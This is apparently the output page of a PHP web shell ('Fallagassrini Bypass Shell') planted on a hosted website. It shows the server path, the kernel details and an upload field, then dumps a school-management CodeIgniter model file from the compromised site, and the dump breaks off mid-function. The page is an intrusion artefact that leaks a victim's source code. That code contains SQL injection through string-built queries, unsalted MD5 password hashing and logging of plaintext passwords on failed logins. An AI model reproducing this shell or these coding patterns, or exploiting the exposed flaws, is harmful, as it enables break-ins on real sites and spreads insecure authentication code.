? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/draft/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/draft/application/models/mastermodel.php

<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Mastermodel extends CI_Model
{

    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }

    /* Common function starts here */

    function authenticate($user_name, $password)
    {
        $data = array();
        $ip = $this->input->post('ip');
        $logintime = $today = date("Y-m-d H:i:s");
        $password1 = md5($password);
        $query = $this->db->query("select * from user where user_name='$user_name' and password='$password1'");
        $data['numrows'] = $query->num_rows();
        if ($query->num_rows() > 0)
        {
            $lastid = $this->get_single_value('login_details', 'id', 'user_name', $user_name);
            $result = $query->row();
            $data['employee_id'] = $result->employee_id;
            $data['user_id'] = $result->user_id;
            $data['modules_permission'] = $result->modules_permission;
            $data['user_modules'] = $result->user_modules;
            $data['user_name'] = $user_name;
            $data['clogintime'] = $logintime;
            $data['lastid'] = $lastid;
            $query1 = $this->db->query("select * from login_details where user_name='$user_name' and id>='$lastid'");
            $data['attempt'] = ($query1->num_rows()) - 1;
            $tblValues = array('user_name' => $user_name, 'password' => $password1, 'login_time ' => $logintime, 'user_id ' => $result->user_id, 'ip_address ' => $ip, 'status ' => 'Success');
            $this->db->insert('login_details', $tblValues);
        }
        else
        {
            $tblValues = array('user_name' => $user_name, 'password' => $password, 'login_time ' => $logintime, 'user_id ' => '', 'failing_time ' => $logintime, 'ip_address ' => $ip, 'status ' => 'failed');
            $this->db->insert('login_details', $tblValues);
        }
        return $data;
    }

    function getenumvalues($table, $column)
    {
        $sql = "SHOW COLUMNS FROM $table LIKE '$column'";
        $result = mysql_query($sql);
        if ($result)
        {
            $enum = mysql_fetch_object($result);
            preg_match_all("/'([\w ]*)'/", $enum->Type, $values);
            $data['val'] = $values[1];
            return $data;
        }
        else
        {
            die("Unable to fetch enum values: " . mysql_error());
        }
    }

    function generate_random_string($length = 10)
    {
        $characters = 'abcdefghijklmnopqrstuvwxyz1234567890@#$%&^';
        $random_string = '';
        for ($i = 0; $i < $length; $i++)
        {
            $random_string .= $characters[rand(0, strlen($characters) - 1)];
        }
        return date("Y-m-d-h-i-s") . $random_string;
    }

    function get_num_rows($table, $field = '', $id = '')
    {
        if ($field != '')
            $this->db->where($field, $id);
        $Q = $this->db->get($table);
        return $Q->num_rows();
    }

    function getdistinctfield($field, $table, $sortfield = "")
    {
        $data = array();
        $this->db->distinct();
        $this->db->select($field);
        if (!empty($sortfield))
        {
            $this->db->order_by($sortfield, "asc");
        }
        $Q = $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function convdatformat($xdate)
    {
        $mydate = explode('-', $xdate);
        if (sizeof($mydate) > 2)
            return $mydate[2] . "-" . $mydate[1] . "-" . $mydate[0];
        else if (sizeof($mydate) > 1)
            return $mydate[1] . "-" . $mydate[0];
        else
            return $mydate[0];
    }

    function number_rows($tabname, $field1 = '', $value1 = '', $field2 = '', $value2 = '', $field3 = '', $value3 = '', $primary_field = '')
    {
        $this->db->from($tabname);
        if ($primary_field != '')
        {
            $this->db->join('master', "master.master_id=$tabname.$primary_field");
        }
        if ($field1 != '')
            $this->db->where($field1, $value1);
        if ($field2 != '')
            $this->db->where($field2, $value2);
        if ($field3 != '')
            $this->db->where($field3, $value3);
        $num = $this->db->count_all_results();
        return $num;
    }

    function get_single_value($table, $field, $condition, $value)
    {
        $data = $this->db->query("select max(" . $field . ") as " . $field . " from " . $table . " where " . $condition . "='" . $value . "' and status='Success'");
        $result = $data->row();
        if ($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function get_no_rows($table, $field, $id, $cond1, $cond2)
    {
        $this->db->where($field, $id);
        $this->db->where($cond1, $cond2);
        $Q = $this->db->get($table);
        $num = $Q->num_rows();
        return $num;
    }

    function get_master_code($table, $prefix_name, $field, $primary_field)
    {
        $Q = $this->db->get($table);
        $num = $Q->num_rows();
        $prefix_values = $this->mastermodel->get_data_srow('prefix_code', $prefix_name, 'prefix_name');
        $prefix_count = $prefix_values->prefix_digit;
        $prefix_code = $prefix_values->prefix;

        $num = $this->mastermodel->number_rows($table, '', '', '', '', '', '', $primary_field);
        $num++;
        do
        {
            $master_code = $prefix_code . str_pad($num, $prefix_count, "0", STR_PAD_LEFT);
            $num_rows_code = $this->mastermodel->number_rows($table, $field, $master_code);
            $num++;
        }
        while ($num_rows_code != 0);
        return $master_code;
    }

    function get_single_field_value($table, $field, $condition, $value)
    {

        $data = $this->db->query("select " . $field . " from " . $table . " where " . $condition . "='" . $value . "'");
        $result = $data->row();
        if ($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function get_single_field_value_two($table, $field, $condition, $value, $condition1, $value1)
    {
        $sql = "select " . $field . " from " . $table . " where " . $condition . "='" . $value . "' and " . $condition1 . "='" . $value1 . "'";
        $data = $this->db->query($sql);
        $result = $data->row();
        if ($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function get_single_joined_value($field, $table1, $table2, $field1, $field2, $condition, $value)
    {
        $data = $this->db->query("select  $table1.$field from " . $table1 . "
            inner join " . $table2 . " on $table1.$field1=$table2.$field2
            where " . $condition . "='" . $value . "'");
        $result = $data->row();
        if ($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function get_data_dual($table, $id, $field, $id1, $field1, $sortfield = "")
    {
        $data = array();
        $this->db->where($field, $id);
        $this->db->where($field1, $id1);
        if (!empty($sortfield))
        {
            $this->db->order_by($sortfield, 'asc');
        }
        $Q = $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function build_menu($moduleid = "")
    {

        $user_id = $_SESSION['user_id'];
        $data = array();
        $Q = $this->db->query("select * from menu where parent_menu_id = 0 and active=1 and module_id = " . $moduleid . " order by sort");
        $P = $this->db->query("select user_modules,modules_permission from user where user_id='" . $_SESSION['user_id'] . "'");
        $result = $P->row();
        $permission = explode(',', $result->user_modules);
        $edit_del_permission = explode(',', $result->modules_permission);

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $check = $this->mastermodel->check_user_permission($row['menu_id'], $_SESSION['user_id'], '0');
                if ($check)
                {
                    $data[] = $row;
                }
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_sub_menu_child()
    {
        $user_id = $_SESSION['user_id'];
        $data = array();
        $Q = $this->db->query("SELECT child.* FROM `menu` parent join menu as child on(parent.menu_id = child.parent_menu_id) where child.active=1 order by child.sort");
        $P = $this->db->query("select user_modules,modules_permission from user where user_id='" . $_SESSION['user_id'] . "'");
        $result = $P->row();
        $permission = explode(',', $result->user_modules);
        $edit_del_permission = explode(',', $result->modules_permission);

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $check = $this->mastermodel->check_user_permission($row['menu_id'], $_SESSION['user_id'], '0');
                if ($check)
                {
                    $data[] = $row;
                }
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_sub_menu_child_new($parent_id)
    {
        $user_id = $_SESSION['user_id'];
        $data = array();

        $this->db->select('child.*')
                ->from('menu parent')
                ->join('menu child', 'parent.menu_id = child.parent_menu_id')
                ->where('child.parent_menu_id', $parent_id)
                ->where('child.active', '1')
                ->order_by('child.sort');
        $Q = $this->db->get();


//        $Q = $this->db->query("SELECT child.* FROM `menu` parent join menu as child on(parent.menu_id = child.parent_menu_id) where child.active=1 order by child.sort");

        $this->db->select('user_modules,modules_permission')
                ->from('user')
                ->where('user_id', $_SESSION['user_id']);
        $permission = $this->db->get();

        //$P = $this->db->query("select user_modules,modules_permission from user where user_id='" . $_SESSION['user_id'] . "'");

        $result = $permission->row();
        $permission = explode(',', $result->user_modules);
        $edit_del_permission = explode(',', $result->modules_permission);

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $check = $this->mastermodel->check_user_permission($row['menu_id'], $_SESSION['user_id'], '0');
                if ($check)
                {
                    $data[] = $row;
                }
            }
        }
        $Q->free_result();
        return $data;
    }

    function build_module()
    {
        $flag = 0;
        $homemodel = 0;
        $data = array();
        $P = $this->db->query("select user_modules from user where user_id='" . $_SESSION['user_id'] . "'");
        $result = $P->row();
        $permission = explode(',', $result->user_modules);
        $Q = $this->db->query("select * from module where active =  '1'  order by sort");
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $R = $this->db->query("select * from menu where module_id='" . $row['module_id'] . "' and active = 1");
                foreach ($R->result_array() as $menu)
                {
                    $check = $this->mastermodel->check_user_permission($menu['menu_id'], $_SESSION['user_id'], '0');
                    if ($check)
                    {
                        $flag = 1;
                    }
                }
                if ($homemodel == 0)
                {
                    $data[] = $row;
                    $homemodel = 1;
                }
                if ($flag == 1)
                {
                    $data[] = $row;
                    $flag = 0;
                }
                else
                {
                    $flag = 0;
                }
            }
        }
        $Q->free_result();
        return $data;
    }

    function chk_url_permission($menuid)
    {
        if (!isset($_SESSION['user_id']))
            die();
        $uid = $_SESSION['user_id'];
        $permission = $this->get_single_field_value('user', 'user_modules', 'user_id', $uid);
        $array = explode(',', $permission);
        if (in_array($menuid, $array))
        {
            return true;
        }
        else
        {
            return false;
        }
    }

    function getdatas($table, $sortfield = "", $sort_order = "asc", $primary_field = '')
    {
        $data = array();
        if (!empty($sortfield))
        {
            $this->db->order_by($sortfield, $sort_order);
        }
        $Q = $this->db->get($table);
        // echo $this->db->last_query();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_data($table, $id, $field, $sortfield = "", $primary_field = '')
    {
        $data = array();
        $this->db->where($field, $id);
        if (!empty($sortfield))
        {
            $this->db->order_by($sortfield, 'asc');
        }
        if (!empty($primary_field))
        {
            $this->db->join('master', "master.master_id=$table.$primary_field");
        }
        $Q = $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_sibling_details($parent, $student)
    {
        $data = array();
        $this->db->join('student', "student.student_id=parent_student.student_id");
        $this->db->where('parent_id', $parent);
        $this->db->where('parent_student.student_id !=', $student);
        $Q = $this->db->get('parent_student');
        //echo $this->db->last_query();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_data_joined($table1, $table2, $field1, $field2, $id = '', $field = '', $sortfield = "")
    {

        $data = array();
        if ($id != '')
        {
            if (is_array($id))
            {
                $id = implode(',', $id);
            }
            else
            {
                $this->db->where($field, $id);
            }
        }
        $this->db->join($table2, "$table2.$field2=$table1.$field1");
        if (!empty($sortfield))
        {
            $this->db->order_by($sortfield, 'desc');
        }
        $Q = $this->db->get($table1);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        // echo $this->db->last_query();
        $Q->free_result();
        return $data;
    }

    function get_data_srow($table, $id, $field, $isarray = FALSE)
    {
        $data = array();
        $this->db->where($field, $id);
        $Q = $this->db->get($table);
        if ($isarray)
            $row = $Q->row_array();
        else
            $row = $Q->row();
        return $row;
    }

    function get_srow($table, $field)
    {
        $data = array();
        $Q = $this->db->get($table);
        $row = $Q->row();
        return $row;
    }

    function get_data_srow_joined($table1, $table2, $field1, $field2, $id, $field)
    {
        $this->db->join($table2, "$table2.$field2=$table1.$field1");
        $this->db->where($field, $id);
        $Q = $this->db->get($table1);
        $row = $Q->row();
        return $row;
    }

    function get_data_scoloumn($table, $id, $field, $coloumn, $sortfield = "")
    {
        $data = array();
        $this->db->where($field, $id);
        if (!empty($sortfield))
        {
            $this->db->order_by($sortfield, 'asc');
        }
        $this->db->select($coloumn);
        $Q = $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function getmoduledatamaster()
    {
        $data = array();
        $res = $this->db->query("select module.module_name,module.module_title,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort from module join menu on module.module_id=menu.module_id
             where module.active = '1' and menu.active='1'
            order by module.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }

    function getmoduledata()
    {
        $data = array();
        $res = $this->db->query("select module.module_title,module.module_name,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort from module join menu on module.module_id=menu.module_id where menu.active=1
            order by module.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    function getreportmoduledata()
    {
        $data = array();
        $res = $this->db->query("select menu.caption,menu.target,menu.menu_id,report.report_id,report.report_label,report.report_module_id from menu join report on menu.menu_id=report.report_module_id where menu.active=1
            order by menu.sort,report.report_sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    

    function replacemenu($menuid)
    {
        $uid = $_SESSION['user_id'];
        $permission = $this->get_single_field_value('user', 'user_modules', 'user_id', $uid);
        $array = explode(',', $permission);
        if (in_array($menuid, $array))
        {
            return $menuid;
        }
        else
        {
            return false;
        }
    }

    function permissionList()
    {
        $permission = array();
        $user_id = $_SESSION['user_id'];
        $P = $this->db->query("select user_modules from user where user_id='" . $user_id . "'");
        $result = $P->row();
        $permission = explode(',', $result->user_modules);
        return $permission;
    }

    function checkexistencearray($table, $field, $value)
    {
        $tbarr = explode('~', $table);
        $fdarr = explode('~', $field);
        for ($i = 0; $i < sizeof($tbarr); $i++)
        {
            $this->db->from($tbarr[$i]);
            $this->db->where($fdarr[$i], $value);
            $count = $this->db->count_all_results();
            if ($count > 0)
            {
                return $count;
                break;
            }
            else
            {
                continue;
            }
        }
    }

    function checkexistence($table, $field, $value)
    {
        $this->db->from($table);
        $this->db->where($field, $value);
        $count = $this->db->count_all_results();
        return $count;
    }

    function check_user_permission($menuid, $user_id, $check)
    {
        $this->db->select('user_modules,modules_permission');
        $this->db->from('user');
        $this->db->where('user_id', $user_id);
        $data = $this->db->get();
        $result = $data->row();
        $array_perm = explode(',', $result->modules_permission);
        $array_mod = explode(',', $result->user_modules);
        $found = array_search($menuid, $array_mod);
        $val = 0;
        if (isset($array_perm[$found]))
            $val = $array_perm[$found];
        $a = decbin($val);
        $d = sprintf('%03u', $a);
        $ar = str_split($d);

        if ($ar[$check] == 1)
        {
            return true;
        }
        else
        {
            return false;
        }
    }

    function check_home_page($menuid, $user_id, $check)
    {
        $this->db->select('*');
        $this->db->from('user');
        $this->db->where('user_id', $user_id);
        $data = $this->db->get();
        $result = $data->row();
        $array_perm = explode(',', $result->modules_permission);
        $array_mod = explode(',', $result->user_modules);
        $array_home_page = explode(',', $result->home_page);
        $found = array_search($menuid, $array_mod);
        $val = 0;
        if (isset($array_perm[$found]))
            $val = $array_perm[$found];
        $a = decbin($val);
        $d = sprintf('%03u', $a);
        $ar = str_split($d);
        if ($ar[$check] == 1 && (isset($array_home_page[$found]) && $array_home_page[$found] == 1))
        {
            return true;
        }
        else
        {
            return false;
        }
    }

    function getreminder()
    {
        $data = array();
        $tdate = date('Y-m-d');
        $data = $this->db->query("select * from reminder join master on master_id=reminder_id where creator_id=" . $_SESSION['user_id'] . " and remind_before >= datediff(reminder_date,now()) and datediff(reminder_date,now())>=0");
        return $data;
    }

    function add($postdata)
    {

        $data = array();
        $data['resfunction'] = $postdata['resfunction'];
        $table = $postdata['tab_name'];
        unset($postdata['tab_name']);
        unset($postdata['resfunction']);
        $res = $this->db->insert($table, $postdata);
        $cnt = $this->db->insert_id();
        if ($res > 0)
        {
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
        }
        else
        {
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
        }
        return $data;
    }

    function update($postdata)
    {
        $data = array();
        $data['resfunction'] = $postdata['resfunction'];
        $table = $postdata['tab_name'];
        $field = $postdata['tab_field'];
        $id = $postdata['tab_id'];
        unset($postdata['resfunction']);
        unset($postdata['tab_name']);
        unset($postdata['tab_field']);
        unset($postdata['tab_id']);
        $this->db->where($field, $id);
        $res = $this->db->update($table, $postdata);
        if ($res > 0)
        {
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
        }
        else
        {
            $data['res'] = 0;
            $data['msg'] = 'Error On updating Record';
        }
        return $data;
    }

    function deletedata($table, $id, $field)
    {
        $data = array();
        $this->db->trans_begin();
        $this->db->delete($table, array($field => $id));
        $this->db->trans_status();
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Unable to delete record because of associated data';
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Data Deleted Successfully';
        }
        return $data;
    }

    function norecords($tabname)
    {
        $data = array();
        $sql = "select MAX(id) as maxid from $tabname";
        $res = mysql_query($sql);
        $row = mysql_fetch_array($res);
        $numcode = $row['maxid'];
        if ($numcode != '')
        {
            return $numcode;
        }
        else
        {
            return 0;
        }
    }

    function convertdateformat($date)
    {
        if ($date == "" || $date == "00-00-0000")
        {
            return "";
        }
        else
        {
            $time = strtotime($date);
            return date('Y-m-d', $time);
        }
    }

    function convertdatenormalformat($date)
    {
        if ($date == "" || $date == "0000-00-00")
        {
            return "";
        }
        else
        {
            $time = strtotime($date);
            return date('d-m-Y', $time);
        }
    }

    function insertmasterdata()
    {
        $time = date("Y-m-d H:i:s");
        $tblValues = array('menu_id' => $_SESSION['current_mode'],
            'creator_id' => $_SESSION['employee_id'],
            'owner_id' => $_SESSION['employee_id'],
            'created_time' => $time,
            'ip_address' => $_SERVER['REMOTE_ADDR']);
        $this->db->insert('master', $tblValues);
        return mysql_insert_id();
    }

    function updatemasterdata($id, $branch_id = '')
    {
        $time = date("Y-m-d H:i:s");

        $tblValues = array('modifier_id' => $_SESSION['user_id'],
            'modified_time' => $time,
            'ip_address' => $_SERVER['REMOTE_ADDR']);
        $this->db->where('master_id', $id);
        $this->db->update('master', $tblValues);
    }

    /* Common function ends here */


    /* Search function starts here */

    function convert_number($number)
    {
        if (($number < 0) || ($number > 999999999))
        {
            throw new Exception("Number is out of range");
        }

        $Gn = floor($number / 1000000);  /* Millions (giga) */
        $number -= $Gn * 1000000;
        $kn = floor($number / 1000);     /* Thousands (kilo) */
        $number -= $kn * 1000;
        $Hn = floor($number / 100);      /* Hundreds (hecto) */
        $number -= $Hn * 100;
        $Dn = floor($number / 10);       /* Tens (deca) */
        $n = $number % 10;               /* Ones */

        $res = "";

        if ($Gn)
        {
            $res .= $this->convert_number($Gn) . " Million";
        }

        if ($kn)
        {
            $res .= (empty($res) ? "" : " ") .
                    $this->convert_number($kn) . " Thousand";
        }

        if ($Hn)
        {
            $res .= (empty($res) ? "" : " ") .
                    $this->convert_number($Hn) . " Hundred";
        }

        $ones = array("", "One", "Two", "Three", "Four", "Five", "Six",
            "Seven", "Eight", "Nine", "Ten", "Eleven", "Twelve", "Thirteen",
            "Fourteen", "Fifteen", "Sixteen", "Seventeen", "Eighteen",
            "Nineteen");
        $tens = array("", "", "Twenty", "Thirty", "Forty", "Fifty", "Sixty",
            "Seventy", "Eighty", "Ninety");

        if ($Dn || $n)
        {
            if (!empty($res))
            {
                $res .= " and ";
            }

            if ($Dn < 2)
            {
                $res .= $ones[$Dn * 10 + $n];
            }
            else
            {
                $res .= $tens[$Dn];

                if ($n)
                {
                    $res .= " " . $ones[$n];
                }
            }
        }

        if (empty($res))
        {
            $res = "zero";
        }

        return $res;
    }

    function getdistinctfield_condition($field, $table, $id, $value, $sortfield = "")
    {
        $data = array();
        $this->db->distinct();
        $this->db->select($field);
        $this->db->where($id, $value);
        if (!empty($sortfield))
        {
            $this->db->order_by($sortfield, "asc");
        }
        $Q = $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_employee_number()
    {
        $this->db->from('employee');
        $num = $this->db->count_all_results();
        $num++;
        $num+=300;
        do
        {
            $employee_number = 'EMP' . str_pad($num, 3, "0", STR_PAD_LEFT);
            ;
            $num_rows = $this->mastermodel->get_num_rows('employee', 'employee_no', $employee_number);
            $num++;
        }
        while ($num_rows != 0);
        return $employee_number;
    }

    function get_franchisee_number()
    {
        $this->db->from('franchisee');
        $num = $this->db->count_all_results();
        $num++;
        do
        {
            $franchisee_number = 'FRA' . str_pad($num, 3, "0", STR_PAD_LEFT);
            ;
            $num_rows = $this->mastermodel->get_num_rows('franchisee', 'franchisee_code', $franchisee_number);
            $num++;
        }
        while ($num_rows != 0);
        return $franchisee_number;
    }

    function get_teacher_number()
    {
        $this->db->like('employee_no', 'TEA');
        $this->db->from('employee');
        $num = $this->db->count_all_results();
        $num++;
        do
        {
            $teacher_number = 'TEA' . str_pad($num, 3, "0", STR_PAD_LEFT);
            ;
            $num_rows = $this->mastermodel->get_num_rows('employee', 'employee_no', $teacher_number);
            $num++;
        }
        while ($num_rows != 0);
        return $teacher_number;
    }

    function get_batch_code($course_id)
    {

        $code = $this->mastermodel->get_single_field_value('course', 'course_name', 'course_id', $course_id);
        $num = $this->mastermodel->get_num_rows('batch', 'course_id', $course_id);
        $num++;
        do
        {
            $batch_code = $code . str_pad($num, 2, "/", STR_PAD_LEFT);
            ;
            $num_rows = $this->mastermodel->get_num_rows('batch', 'batch_no', $batch_code);
            $num++;
        }
        while ($num_rows != 0);

        return $batch_code;
    }

    function get_student_number()
    {
        $this->db->from('student');
        $num = $this->db->count_all_results();
        $num++;
        do
        {
            $student_number = 'STU' . str_pad($num, 4, "0", STR_PAD_LEFT);
            ;
            $num_rows = $this->mastermodel->get_num_rows('student', 'reg_no', $student_number);
            $num++;
        }
        while ($num_rows != 0);
        return $student_number;
    }

    /* functions for course */

    function search_course()
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('course');
        $this->db->join('main_course', 'main_course.main_course_id=course.main_course_id');
        $this->db->order_by('main_course.main_course_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_course($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $code = $this->mastermodel->get_master_code('course', 'Course', 'course_code', 'course_id');
        $tblValues = array(
            'course_code' => $postdata['course_code'],
            'course_name' => $postdata['course_name'],
            'duration' => $postdata['duration'],
            'fee' => $postdata['fee'],
            'course_fee' => $postdata['course_fee'],
            'books_fee' => $postdata['books_fee'],
            'main_course_id' => $postdata['main_course_id'],
        );

        $this->db->insert('course', $tblValues);
        $i = 1;
        $course_id = mysql_insert_id();
        while (isset($postdata['subject_id' . $i]))
        {
            if ($postdata['subject_id' . $i] != '')
            {
                $tblValues1 = array(
                    'course_id' => $course_id,
                    'subject_id' => $postdata['subject_id' . $i],
                );
                $this->db->insert('course_subject', $tblValues1);
            }
            $i++;
        }
        $j = 1;
        while (isset($postdata['no_sessions' . $j]))
        {
            if ($postdata['no_sessions' . $j] != '')
            {
                $tblValues1 = array(
                    'course_id' => $course_id,
                    'no_sessions_id' => $postdata['no_sessions' . $j],
                    'monthly_fee' => $postdata['monthly_fee' . $j],
                );
                $this->db->insert('course_fee_structure', $tblValues1);
            }
            $j++;
        }
        $data['resfunction'] = 'search_course';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_course($postdata)
    {
        $data = array();
        $this->db->trans_begin();

        $tblValues = array(
            'course_code' => $postdata['course_code'],
            'course_name' => $postdata['course_name'],
            'duration' => $postdata['duration'],
            'fee' => $postdata['fee'],
            'course_fee' => $postdata['course_fee'],
            'books_fee' => $postdata['books_fee'],
            'main_course_id' => $postdata['main_course_id'],
        );
        $this->db->where('course_id', $postdata['course_id']);
        $this->db->update('course', $tblValues);


        $i = 1;
        while (isset($postdata['subject_id' . $i]))
        {
            if ($postdata['subject_id' . $i] != '')
            {
                $tblValues1 = array(
                    'course_id' => $postdata['course_id'],
                    'subject_id' => $postdata['subject_id' . $i],
                );
                $this->db->insert('course_subject', $tblValues1);
            }

            $i++;
        }


        $this->db->where('course_id', $postdata['course_id']);
        $this->db->delete('course_fee_structure');

        $j = 1;
        while (isset($postdata['no_sessions' . $j]))
        {
            if ($postdata['no_sessions' . $j] != '')
            {
                $tblValues1 = array(
                    'course_id' => $postdata['course_id'],
                    'no_sessions_id' => $postdata['no_sessions' . $j],
                    'monthly_fee' => $postdata['monthly_fee' . $j],
                );
                $this->db->insert('course_fee_structure', $tblValues1);
            }
            $j++;
        }

        $data['resfunction'] = 'search_course';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for main course */

    function search_main_course()
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('main_course');
        $this->db->order_by('main_course_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }

    /* functions for class */

    function search_class($pagenum)
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('class');
        $this->db->order_by('class_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_class($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $code = $this->mastermodel->get_master_code('class', 'Class', 'class_code', 'class_id');

        $tblValues = array(
            'class_name' => $postdata['class_name'],
            'class_code' => $code
        );

        $this->db->insert('class', $tblValues);
        $data['resfunction'] = 'search_class';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_class($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'class_name' => $postdata['class_name'],
        );
        $this->db->where('class_id', $postdata['class_id']);
        $this->db->update('class', $tblValues);
        $data['resfunction'] = 'search_class';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for batch */

    function search_batch()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('batch');
        $this->db->join('course', 'batch.course_id=course.course_id');
        $this->db->join('class', 'class_id=batch_class_id', 'left');
        $this->db->join('employee', 'employee_id=teacher_id', 'left');
        $this->db->order_by('batch.close', 'asc');
        $this->db->order_by('start_date', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_batch($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $start_time = $postdata['start_time_hour'] . ":" . $postdata['start_time_minute'];
        $end_time = $postdata['end_time_hour'] . ":" . $postdata['end_time_minute'];
        $tblValues = array(
            'batch_no' => $postdata['batch_no'],
            'course_id' => $postdata['course_id'],
            'start_date' => $this->mastermodel->convertdateformat($postdata['start_date']),
            'start_time' => $start_time,
            'end_time' => $end_time,
            'batch_class_id' => $postdata['batch_class_id'],
        );

        $this->db->insert('batch', $tblValues);
        $batch_id = mysql_insert_id();

        $i = 1;
        while (isset($postdata['teacher_id' . $i]))
        {
            if ($postdata['teacher_id' . $i] != '')
            {
                $tblValues1 = array(
                    'batch_id' => $batch_id,
                    'teacher_id' => $postdata['teacher_id' . $i],
                    'teacher_date' => $this->mastermodel->convertdateformat($postdata['teacher_date' . $i]),
                );
                $this->db->insert('batch_teacher', $tblValues1);
            }
            $i++;
        }

        $data['resfunction'] = 'search_batch';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_batch($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $start_time = $postdata['start_time_hour'] . ":" . $postdata['start_time_minute'];
        $end_time = $postdata['end_time_hour'] . ":" . $postdata['end_time_minute'];
        $tblValues = array(
            'start_date' => $this->mastermodel->convertdateformat($postdata['start_date']),
            'start_time' => $start_time,
            'end_time' => $end_time,
            'batch_class_id' => $postdata['batch_class_id'],
                //     'teacher_id' => $postdata['teacher_id'],
        );
        $this->db->where('batch_id', $postdata['batch_id']);
        $this->db->update('batch', $tblValues);

        $this->db->where('batch_id', $postdata['batch_id']);
        $this->db->delete('batch_teacher');
        $i = 1;
        while (isset($postdata['teacher_id' . $i]))
        {
            if ($postdata['teacher_id' . $i] != '')
            {
                $tblValues1 = array(
                    'batch_id' => $postdata['batch_id'],
                    'teacher_id' => $postdata['teacher_id' . $i],
                    'teacher_date' => $this->mastermodel->convertdateformat($postdata['teacher_date' . $i]),
                );
                $this->db->insert('batch_teacher', $tblValues1);
            }
            $i++;
        }

